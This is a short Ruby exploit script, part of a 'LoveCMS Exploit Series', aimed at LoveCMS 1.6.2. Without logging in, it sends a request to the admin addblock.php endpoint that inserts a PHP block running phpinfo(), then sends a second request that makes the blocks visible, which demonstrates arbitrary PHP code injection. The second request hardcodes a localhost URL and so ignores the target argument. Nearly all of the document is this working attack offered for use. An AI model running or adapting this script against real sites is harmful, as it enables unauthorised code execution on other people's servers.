#!/usr/bin/ruby # ## Exploit by PoMdaPiMp! ## --------------------- ## pomdapimp(at)gmail(dotcom) ## ## LoveCMS Exploit Series ## Episode 1: adding a side block ## ## Description: add some php into a block container ## on the side of the site. phpinfo() is called. ## ## Usage: ./LoveCMS_1_blocks.rb ## Ex: ./LoveCMS_2_themes.rb http://site.com/lovecms/ ## ## Tested on: lovecms_1.6.2_final (MacOS X, Xampp) # require 'net/http' require 'uri' @host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/' @host = ARGV[0] if ARGV[0] @host += @host[-1, 1].to_s != '/' ? '/' : '' if @host # -- puts " + LoveCMS Exploit Series. #1: Adding side blocks." puts puts " : Attacking host: " + @host # -- # Insert a new block res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/addblock.php'), {'submit'=>'1', 'title'=>'H4Ck', 'content' => 'phpinfo();', 'type' => 'php'}) puts " :: Block inserted." # -- # Build post variable for next step post_vars = {'submit' => 1} (1..50).each do |id| post_vars['position' + id.to_s] = 1 post_vars['height' + id.to_s] = 1 post_vars['visible' + id.to_s] = 1 end # Make the block visible res = Net::HTTP.post_form(URI.parse('http://127.0.0.1/lovecms_1.6.2_final/lovecms/system/admin/blocks.php'), post_vars ) puts " :: Blocks displayed." # -- puts puts " - Visit " + @host end